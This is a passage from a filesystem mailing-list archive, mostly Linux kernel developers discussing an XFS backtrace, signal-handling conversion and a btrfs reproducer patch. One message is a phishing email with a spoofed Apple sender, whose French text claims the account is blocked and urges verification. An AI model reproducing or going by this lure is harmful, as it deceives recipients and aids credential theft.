verify=NO) for ; Fri, 14 Feb 2014 05:29:39 -0800 (PST) X-Barracuda-Envelope-From: richard@nod.at X-Barracuda-Apparent-Source-IP: 95.130.255.144 Received: (qmail 25037 invoked by uid 89); 14 Feb 2014 13:29:37 -0000 Received: by simscan 1.3.1 ppid: 25029, pid: 25033, t: 0.0622s scanners: attach: 1.3.1 clamav: 0.96.5/m: Received: from unknown (HELO ?192.168.0.11?) (richard@nod.at@212.186.22.124) by radon.swed.at with ESMTPA; 14 Feb 2014 13:29:37 -0000 Message-ID: <52FE1A3A.9090301@nod.at> Date: Fri, 14 Feb 2014 14:29:30 +0100 From: Richard Weinberger User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Christoph Hellwig , Al Viro CC: Linus Torvalds , Oleg Nesterov , Dave Chinner , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> <20140212113928.GO18016@ZenIV.linux.org.uk> <20140212211421.GP18016@ZenIV.linux.org.uk> <20140212214411.GQ18016@ZenIV.linux.org.uk> <20140213205146.GS18016@ZenIV.linux.org.uk> <20140214132503.GA23265@infradead.org> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. In-Reply-To: <20140214132503.GA23265@infradead.org> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: b.ns.miles-group.at[95.130.255.144] X-Barracuda-Start-Time: 1392384579 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145108 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Am 14.02.2014 14:25, schrieb Christoph Hellwig: > On Thu, Feb 13, 2014 at 08:51:46PM +0000, Al Viro wrote: >> On Wed, Feb 12, 2014 at 09:44:11PM +0000, Al Viro wrote: >> >>> I'll try to put something along those lines together, if you or Oleg don't >>> do it first. >> >> OK, having looked at that stuff... >> >> 1) things become much more compact if we finish conversion to get_signal() >> first. > > I have vague memories that Richard sent out a series to convert over all > architectures a while ago. Hopefully he has better memory than I do. Yeah. Sending v2 of that series is on my overflowing TODO list. :-\ I think this is a good reason for me to start working on that series again. Stay tuned. Thanks, //richard From fdmanana@gmail.com Fri Feb 14 07:39:28 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 89B307F55 for ; Fri, 14 Feb 2014 07:39:28 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 01AB9AC003 for ; Fri, 14 Feb 2014 05:39:27 -0800 (PST) X-ASG-Debug-ID: 1392385164-04cb6c6de03aae90001-NocioJ Received: from mail-bk0-f41.google.com (mail-bk0-f41.google.com [209.85.214.41]) by cuda.sgi.com with ESMTP id 6PukjWC8bw4eYAoe (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 14 Feb 2014 05:39:25 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.214.41 X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.41] Received: by mail-bk0-f41.google.com with SMTP id na10so3589736bkb.28 for ; Fri, 14 Feb 2014 05:39:24 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.41] X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.41] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:reply-to:in-reply-to:references:date:message-id :subject:from:to:cc:content-type; bh=vDo2IKmQ61PcgSLXPvvfXrNo3Ap6lZ2MSiYTBdCPEMY=; b=D7ug4D9lp5O1ph771ZSaJqhudUVvWTR3xQiSaGnfZvhL884sncERJ+YDPjPVg0KNVO /830DoNPtdC7ST3TAkk8SLg9JTiP3VGNs/fslHMs6HN/9Hix7sJ0737R2JBaMMnVcU6M 3qvaU1v4V0RNCiZseaiOo92d5674I2N0PNxBDicHASoNEJzeQ0JyNreBMHm2f8gv//FB weENCFVwTOIEmPC7lvFRS4xoOZTG5wUONHyGujoHtof5oLkX4Ja6GL202V93/vOj072P uJaLLv5wmx1WvqpACkKV26S60CcWKAg5hkSBLZeidCxpNPQ0sZxTbvOX8Wjc2k35QogO X5vA== MIME-Version: 1.0 X-Received: by 10.204.99.136 with SMTP id u8mr5601779bkn.26.1392385164199; Fri, 14 Feb 2014 05:39:24 -0800 (PST) Received: by 10.204.69.197 with HTTP; Fri, 14 Feb 2014 05:39:24 -0800 (PST) Reply-To: fdmanana@gmail.com In-Reply-To: <20140214134656.7c1f2544@plati.site> References: <1391769341-20688-1-git-send-email-ddiss@suse.de> <20140214134656.7c1f2544@plati.site> Date: Fri, 14 Feb 2014 13:39:24 +0000 Message-ID: Subject: Re: [PATCH v3 0/3] __btrfs_drop_extents() BUG_ON reproducer From: Filipe David Manana X-ASG-Orig-Subj: Re: [PATCH v3 0/3] __btrfs_drop_extents() BUG_ON reproducer To: David Disseldorp Cc: "linux-btrfs@vger.kernel.org" , xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-bk0-f41.google.com[209.85.214.41] X-Barracuda-Start-Time: 1392385165 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145108 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Fri, Feb 14, 2014 at 12:46 PM, David Disseldorp wrote: > Ping, any Btrfsers get a chance to look at this patch series? > I'd like to get it into the QA tree. If no one else gets there first, I'll take a look at it soon. thanks > > On Fri, 7 Feb 2014 11:35:38 +0100, David Disseldorp wrote: > >> This patch-set provides a reproducer for hitting the 3.14.0-rc1 BUG_ON() >> at: >> 692 int __btrfs_drop_extents(struct btrfs_trans_handle *trans, >> ... >> 839 /* >> 840 * | ---- range to drop ----- | >> 841 * | -------- extent -------- | >> 842 */ >> 843 if (start <= key.offset && end < extent_end) { >> 844 BUG_ON(extent_type == BTRFS_FILE_EXTENT_INLINE); >> 845 >> 846 memcpy(&new_key, &key, sizeof(new_key)); >> >> The first patch adds a small cloner binary which is used by btrfs/035 to >> dispatch BTRFS_IOC_CLONE_RANGE requests. >> >> This workload resembles that of Samba's vfs_btrfs module, when a Windows >> client restores a file from a shadow-copy (snapshot) using server-side >> copy requests. >> >> Changes since V2: >> - Remove explicit write error checks >> >> Changes since V1: >> - Use strtoull instead of atoi >> - Print error conditions in cloner >> - Check for cloner binary before running test >> - Continue test on failure >> - Add cloner to .gitignore >> >> Feedback appreciated. >> >> Cheers, David >> >> >> .gitignore | 1 + >> configure.ac | 1 + >> src/Makefile | 2 +- >> src/cloner.c | 192 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ >> tests/btrfs/035 | 77 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ >> tests/btrfs/035.out | 3 +++ >> tests/btrfs/group | 1 + >> 7 files changed, 276 insertions(+), 1 deletion(-) > -- > To unsubscribe from this list: send the line "unsubscribe linux-btrfs" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html -- Filipe David Manana, "Reasonable men adapt themselves to the world. Unreasonable men adapt the world to themselves. That's why all progress depends on unreasonable men." From service@apple.com Fri Feb 14 08:38:40 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.8 required=5.0 tests=HTML_MESSAGE, MPART_ALT_DIFF_COUNT,T_FILL_THIS_FORM_SHORT autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 88BF27F55 for ; Fri, 14 Feb 2014 08:38:40 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 034D8AC00B for ; Fri, 14 Feb 2014 06:38:36 -0800 (PST) X-ASG-Debug-ID: 1392388712-04cbb00c283aef70001-NocioJ Received: from s17487122 (s17487122.onlinehome-server.info [217.160.23.48]) by cuda.sgi.com with ESMTP id I5CUlJTpl9Jwn1bv for ; Fri, 14 Feb 2014 06:38:32 -0800 (PST) X-Barracuda-Envelope-From: service@apple.com X-Barracuda-Apparent-Source-IP: 217.160.23.48 Received: from apple.com ([127.0.0.1]) by s17487122 with Microsoft SMTPSVC(7.5.7601.17514); Fri, 14 Feb 2014 15:38:42 +0100 From: "iTunes" To: xfs@oss.sgi.com Subject: Please note that your ID will expire within 48 hours! Date: 14 Feb 2014 15:38:42 +0100 X-ASG-Orig-Subj: Please note that your ID will expire within 48 hours! Message-ID: <20140214053148.C6408F2FFAC472CB@apple.com> MIME-Version: 1.0 Organization: Foobar Inc. Content-Type: multipart/alternative; boundary="----=_NextPart_000_0012_08ECFAC7.CC67110F" X-OriginalArrivalTime: 14 Feb 2014 14:38:42.0694 (UTC) FILETIME=[754C6A60:01CF2992] X-Barracuda-Connect: s17487122.onlinehome-server.info[217.160.23.48] X-Barracuda-Start-Time: 1392388712 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.39 X-Barracuda-Spam-Status: No, SCORE=1.39 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_SA210e, HTML_MESSAGE, MPART_ALT_DIFF_COUNT, NO_REAL_NAME, URI_NOVOWEL X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145109 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 0.50 URI_NOVOWEL URI: URI hostname has long non-vowel sequence 0.88 MPART_ALT_DIFF_COUNT BODY: HTML and text parts are different 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC5_SA210e Custom Rule SA210e ------=_NextPart_000_0012_08ECFAC7.CC67110F Content-Type: text/plain Content-Transfer-Encoding: quoted-printable This project was originally used to test Gammadyne Mailer. It is=20 now shipped with the product because it may be useful to the user=20 to see some examples of a project that uses G-Merge. We won't=20 mind if you send us this message. It would be more useful to=20 send it to yourself by changing the contents of the Recipients=20 branch. The word "FAIL" should not appear anywhere (discounting this=20 sentence) in the final message body, as seen in the Preview=20 Window. This project was originally used to test a database. We'll=20 declare some variables to simulate database columns. =20=20=20=20 Word-wrap test: 123456789 123456789 123456789 123456789 123456789 123456789=20 123456789 123456789=20 UNBREAKABLE_UNBREAKABLE_UNBREAKABLE_UNBREAKABLE_UNBREAKABLE_UNBRE AKABLE_UNBREAKABLE_UNBREAKABLE_UNBREAKABLE_UNBREAKABLE_UNBREAKABL E_UNBREAKABLE_UNBREAKABLE_UNBREAKABLE_UNBREAKABLE_UNBREAKABLE_UNB REAKABLE_UNBREAKABLE_UNBREAKABLE_UNBREAKABLE_UNBREAKABLE_UNBREAKA BLE_UNBREAKABLE_UNBREAKABLE_UNBREAKABLE_UNBREAKABLE_UNBREAKABLE_ Gammadyne Mailer is a powerful tool designed to eliminate the=20 drudge work of running an email campaign. It can do much more=20 than just send email. Gammadyne Mailer can automatically manage=20 the mailing list by processing sign-up, opt-out, and bounce-back=20 email. Of course, there are powerful tools for maintaining the=20 list manually as well. Adding, removing, and changing recipients=20 has never been easier - and the mailing list can be in a=20 database, text file, or CSV file. Gammadyne Mailer makes your=20 job easier with an arsenal of features: personalized messages,=20 HTML, recipient filtering, multi-tasking, auto-responding,=20 forwarding, list-serving, follow-ups, wizards, tutorials, a=20 thorough manual, and much more. The built-in scripting language=20 means that no task is too difficult to automate. But perhaps its=20 best quality is its rock-solid design; it can run indefinitely=20 without crashing or draining system resources. Gammadyne Mailer=20 is an industrial strength application, yet still affordable by=20 the small business. Try it today! http://hyperlinks_cannot_be_brokenxxxxxxxxxxxxxxxxxxxxxxxxxxxxx-xx ftp://hyperlinks_cannot_be_brokenxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx-xx test=20 http://this_should_break_after_the_space_but_not_againxxxx-xx test=20 ftp://this_should_break_after_the_space_but_not_againxxxxx-xx http://hyperlinks_cannot_be_broken_even_after_leading_spaces-xxx ftp://hyperlinks_cannot_be_broken_even_after_leading_spaces-xxxx test=20 http://this_should_break_after_the_last_space_but_not-again test=20 ftp://this_should_break_after_the_last_space_but_not-againx Basic Tags: Recipient: xfs@oss.sgi.com Email: xfs@oss.sgi.com Full Name:=20 First Name:=20 Last Name:=20 Index: 10205 User: xfs Domain: oss.sgi.com Company:=20=20 TID: Date formatting: Now: 2/14/2014 5:31:48 Years: 14,2014,Fourteen,Twenty Fourteen Months: 2,02,Feb,February Days: 14,14,14th,Fourteenth WeekDays: 6,06,Fri,Friday Hours: 5,05,5,05 Minutes: 31,31 Seconds: 48,48 AM/PM: a,a.m. Data switching: Bool true=3Dtrue=3Dtrue Int six=3Dsix String` 6=3D6 Default Default=3DDefault Comments: ok Other: Special Chars: =C4=9C=BB=A9=9B=E3=D8=C7=99 Escaping (2,3,4): [[ [[[ [[[[ Rich text test: Underlined =2Ethis line begins with a period =2E.this line begins with two periods ******** * Type * * 0 * ******** ++++++++ + Type + + 1 + ++++++++ XXXXXXXX X Type X X 2 X XXXXXXXX ######## # Type # # 3 # ######## ???????? ? Type ? ? 4 ? ???????? !!!!!!!! ! Type ! ! 5 ! !!!!!!!! /------\ | Type | | 6 | \------/ /XXXXXX\ X Type X X 7 X \XXXXXX/ O------O | Type | | 8 | O------O -------- [ Type ] [ 9 ] -------- =3D=3D=3D=3D=3D=3D=3D=3D [ Type ] [ 10 ] =3D=3D=3D=3D=3D=3D=3D=3D ------=20 < Type > < 11 > ------ Test conditional bodies: 100 ok 101 ok 110 ok 111 ok 112 ok 120 ok 121 ok 122 ok 130 ok 131 ok 132 ok 133 ok 133 ok 140 ok 141 ok 142 ok 143 ok Test Comparisons 11 ok 12 ok 13 ok 14 ok 15 ok 16 ok 21 ok 22 ok 23 ok 24 ok 25 ok 26 ok 27 ok 31 ok 32 ok 33 ok 34 ok 35 ok 36 ok 41 ok 42 ok 43 ok 44 ok 45 ok 46 ok 51 ok 52 ok 53 ok 54 ok 55 ok 56 ok 61 ok 62 ok 63 ok 64 ok 65 ok 66 ok 71 ok 72 ok 73 ok 74 ok 75 ok 76 ok 77 ok 81 ok 82 ok 83 ok 84 ok 85 ok 86 ok 87 ok 91 ok 92 ok 93 ok 94 ok 101 ok 102 ok 103 ok 104 ok 110 ok 111 ok 112 ok 113 ok 114 ok 115 ok 116 ok 117 ok 120 ok 121 ok 122 ok 123 ok 130 ok 131 ok 132 ok 140 ok 141 ok 142 ok 143 ok 144 ok 145 ok 146 ok 147 ok 148 ok 149 ok 150 ok 151 ok 152 ok 153 ok 154 ok 160 ok 161 ok 162 ok 163 ok 164 ok 165 ok 166 ok 170 ok 171 ok 172 ok 173 ok 174 ok 175 ok 176 ok 177 ok 178 ok 179 ok 180 ok 181 ok 182 ok 183 ok 184 ok 185 ok 186 ok 187 ok 190 ok 191 ok 192 ok 193 ok 194 ok 195 ok 196 ok 197 ok While Loops: xxxxx=3Dxxxxx xxxxxx=3Dxxxxxx Thirty days from today 16 Mar 2014 Test of formatted expressions string6:=3Dstring6: Test of default abc=3Dabc Variables 1 ok 2 ok 3 ok 4 ok 5 ok Nested IF:=20 1 ok 2 ok 3 ok Test compound tags: 100 123=3D123 101 123=3D123 102 123456=3D123456 103 123456=3D123456 104 hello=3Dhello 110 ok 111 ok 112 ok 113 ok Functions 100 ok 101 ok 102 ok 103 ok 104 ok 105 ok 110 ok 111 ok 112 ok 120 ok 121 ok 122 ok 130 ok 131 ok 132 ok 133 ok 140 ok 141 ok 142 ok 143 ok 150 ok 151 ok 152 ok 153 ok 160 ok 161 ok 162 ok 163 ok 170 ok 171 ok 180 ok 181 ok 182 ok 183 ok 184 ok 185 ok 186 ok 187 ok 190 ok 191 ok 192 ok 200 ok 201 ok 202 ok 210 ok 211 ok 212 ok 213 ok 220 ok 221 ok 222 ok 223 ok 224 ok 225 ok 226 ok 227 ok 228 ok 229 ok 230 ok 231 ok 232 ok 232 ok 234 ok 235 ok 240 ok 250 ok 251 ok 270 ok 271 ok 272 ok 273 ok 280 ok3 281 ok4 282 ok4 283 ok4 290 ok 291 ok 292 ok 293 ok 294 ok 295 ok 300 ok 301 ok 302 ok 303 ok 304 ok 305 ok 306 ok 307 ok 308 ok 310 ok 311 ok 312 ok 313 ok 314 ok 315 ok 316 ok 317 ok 320 ok 321 ok 322 ok 323 ok 324 ok 325 ok 326 ok 327 ok 328 ok 329 ok 330 ok 331 ok 332 ok 333 ok 334 ok 335 ok 336 ok 337 ok 338 ok 339 ok 340 ok 341 ok 342 ok 343 ok 344 ok 345 ok 346 ok 347 ok 348 ok 349 ok 350 ok 351 ok 352 ok 353 ok 354 ok 355 ok 356 ok 357 ok 358 ok 359 ok 360 ok 361 ok 362 ok 363 ok 364 ok 365 ok 366 ok 370 ok 371 ok 380 ok 381 ok 382 ok 383 ok 390 ok 391 ok 392 ok 393 ok 400 ok 401 ok 402 ok 403 ok 410 ok 411 ok 420 ok 421 ok 422 ok 423 ok 430 ok 431 ok 440 ok 450 ok 451 ok 452 ok 453 ok 460 ok 461 ok 480 ok 481 ok 490 ok 491 ok 500 ok 501 ok 502 ok 503 ok 510 ok 511 ok 512 ok 513 ok 514 ok 520 ok 521 ok 522 ok 523 ok 524 ok 530 ok 531 ok 532 ok 533 ok 534 ok 540 ok 541 ok 542 ok 543 ok 544 ok 550 ok 551 ok 552 ok 553 ok 554 ok 555 ok 560 ok 561 ok 562 ok 563 ok 564 ok 565 ok 570 ok 571 ok 572 ok 573 ok 574 ok 575 ok 580 ok 581 ok 582 ok 583 ok 584 ok 585 ok 590 ok 591 ok 592 ok 593 ok 594 ok 595 ok 600 ok 601 ok 602 ok 610 ok 611 ok 620 ok 621 ok 622 ok 630 ok 631 ok 632 ok 633 ok 640 ok 641 ok 660 ok 661 ok 662 ok 670 ok 671 ok 672 ok 680 ok 690 ok 691 ok 692 ok 693 ok 700 ok 701 ok 702 ok 703 ok 704 ok 705 ok 706 ok 710 ok 711 ok 720 ok 721 ok 730 ok 731 ok 740 ok 741 ok 742 ok 750 ok 760 ok 770 ok 780 ok 790 ok 800 ok 810 ok 820 ok 830 ok 850 ok 860 ok 870 ok 880 ok 890 ok 900 ok 910 ok 920 ok 930 ok 935 ok 940 ok 950 ok 960 ok 970 ok 980 ok 990 ok 1000 ok 1010 ok 1020 ok 1030 ok 1040 ok 1050 ok 1060 ok 1070 ok 1080 ok 1090 ok 1100 ok 1110 ok 1120 ok 1130 ok 1140 ok 1150 ok 1160 ok 1170 ok 1180 ok 1190 ok 1200 ok 1 1210 ok 1220 ok 1230 ok 1240 ok 1250 ok 1260 ok 1270 ok 1280 ok 1290 ok 1300 ok 1310 ok 1320 ok 1330 ok 1340 ok 1350 ok 1360 ok 1370 ok 1380 ok 1390 ok 1400 ok 1410 ok 1420 ok 1430 ok 1440 ok 1450 ok 1460 ok 1470 ok 1480 ok 1490 ok 1500 ok 1510 ok 1520 ok 1530 ok 1540 FAIL 1550 ok 1560 ok 1570 ok 1580 ok 1590 ok 1600 ok 1610 ok 1620 ok 1630 ok 1640 ok 1650 ok 1660 ok 1670 ok 1680 ok 1690 ok 1700 ok 1710 ok 1720 ok 1730 ok 1740 ok 1750 ok 1760 ok 1770 ok 1780 ok 1790 ok 1800 ok 1810 ok 1820 ok 1830 ok 1840 ok 1850 ok 1860 ok 1870 ok 1880 ok 1890 ok 1900 ok 1910 ok 1920 ok 1930 ok 1940 ok 1950 ok 1960 ok 1970 ok 1980 ok 1990 ok 2000 ok 2010 ok 2020 ok 2030 ok 2040 ok 2050 FAIL 2060 ok 2070 ok 2080 ok 2090 ok 2100 ok 2110 ok 2120 ok 2130 ok 2140 ok 2150 ok 2160 ok 2170 ok 2180 ok 2190 ok 2200 ok 2210 ok 2220 ok 2230 ok 2240 ok 2250 ok 2260 ok 2270 ok 2280 ok 2290 ok 2300 ok 2310 ok 2320 ok 2330 ok 2340 ok 2350 ok 2360 ok 2370 ok 2380 ok 2390 ok 2400 ok 2410 ok 2420 ok ------=_NextPart_000_0012_08ECFAC7.CC67110F Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Ch=E8r
Ch=E8r(e) Client(e), 

 
Votre identifiant Apple a =E9t=E9 utilis=E9 pour ouvrir une session iClou= d =E0=20 partir d'un ordinateur non autoris=E9.

 
Votre compte iTunes est maintenant bloqu=E9, veuiller acc=E9der =E0 votre&= nbsp;compte=20 et effectuer une v=E9rification de vos informations.

 
V=E9rifiez = Maintenant ------=_NextPart_000_0012_08ECFAC7.CC67110F-- From viro@ftp.linux.org.uk Fri Feb 14 09:20:55 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id AB1307F55 for ; Fri, 14 Feb 2014 09:20:55 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 795018F8052 for ; Fri, 14 Feb 2014 07:20:52 -0800 (PST) X-ASG-Debug-ID: 1392391249-04bdf01d0baee60001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id XxdpgdPnzYCEyfWs (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 14 Feb 2014 07:20:50 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1WEKZ2-0008Bb-MT; Fri, 14 Feb 2014 15:20:28 +0000 Date: Fri, 14 Feb 2014 15:20:28 +0000 From: Al Viro To: Richard Weinberger Cc: Christoph Hellwig , Linus Torvalds , Oleg Nesterov , Dave Chinner , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140214152028.GT18016@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140212054043.GB13997@dastard> <20140212113928.GO18016@ZenIV.linux.org.uk> <20140212211421.GP18016@ZenIV.linux.org.uk> <20140212214411.GQ18016@ZenIV.linux.org.uk> <20140213205146.GS18016@ZenIV.linux.org.uk> <20140214132503.GA23265@infradead.org> <52FE1A3A.9090301@nod.at> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52FE1A3A.9090301@nod.at> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1392391250 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145111 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Feb 14, 2014 at 02:29:30PM +0100, Richard Weinberger wrote: > Am 14.02.2014 14:25, schrieb Christoph Hellwig: > > On Thu, Feb 13, 2014 at 08:51:46PM +0000, Al Viro wrote: > >> On Wed, Feb 12, 2014 at 09:44:11PM +0000, Al Viro wrote: > >> > >>> I'll try to put something along those lines together, if you or Oleg don't > >>> do it first. > >> > >> OK, having looked at that stuff... > >> > >> 1) things become much more compact if we finish conversion to get_signal() > >> first. > > > > I have vague memories that Richard sent out a series to convert over all > > architectures a while ago. Hopefully he has better memory than I do. > > Yeah. Sending v2 of that series is on my overflowing TODO list. :-\ > I think this is a good reason for me to start working on that series again. > Stay tuned. Would be great. I have several done here, but I'll be glad to replace them with something tested... BTW, Oleg, could you explain why does PTRACE_PEEK_SIGINFO copy ->si_code separately? IOW, why do we want the upper 16 bits of ->si_code exposed? It used to be a strictly internal thing IIRC (it's been what, 2.3.late?) From davej@redhat.com Fri Feb 14 10:01:42 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 405EF7F3F for ; Fri, 14 Feb 2014 10:01:42 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id C775BAC00B for ; Fri, 14 Feb 2014 08:01:38 -0800 (PST) X-ASG-Debug-ID: 1392393696-04cb6c06cfa0e50001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id uiTjAj9iV76b7XoC for ; Fri, 14 Feb 2014 08:01:37 -0800 (PST) X-Barracuda-Envelope-From: davej@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1EG1XZS019688 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 14 Feb 2014 11:01:33 -0500 Received: from gelk.kernelslacker.org (ovpn-113-224.phx2.redhat.com [10.3.113.224]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1EG1QwX029568 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 14 Feb 2014 11:01:32 -0500 Received: from gelk.kernelslacker.org (localhost [127.0.0.1]) by gelk.kernelslacker.org (8.14.8/8.14.7) with ESMTP id s1EG1Pxc029765; Fri, 14 Feb 2014 11:01:25 -0500 Received: (from davej@localhost) by gelk.kernelslacker.org (8.14.8/8.14.8/Submit) id s1EG1Nhc029764; Fri, 14 Feb 2014 11:01:23 -0500 X-Authentication-Warning: gelk.kernelslacker.org: davej set sender to davej@redhat.com using -f Date: Fri, 14 Feb 2014 11:01:23 -0500 From: Dave Jones To: Dave Chinner Cc: Linus Torvalds , Al Viro , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140214160123.GA28125@redhat.com> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Mail-Followup-To: Dave Jones , Dave Chinner , Linus Torvalds , Al Viro , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com References: <52FA9ADA.9040803@sandeen.net> <20140212004403.GA17129@redhat.com> <20140212010941.GM18016@ZenIV.linux.org.uk> <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> <20140212071829.GE13997@dastard> <20140214002427.GN13997@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140214002427.GN13997@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 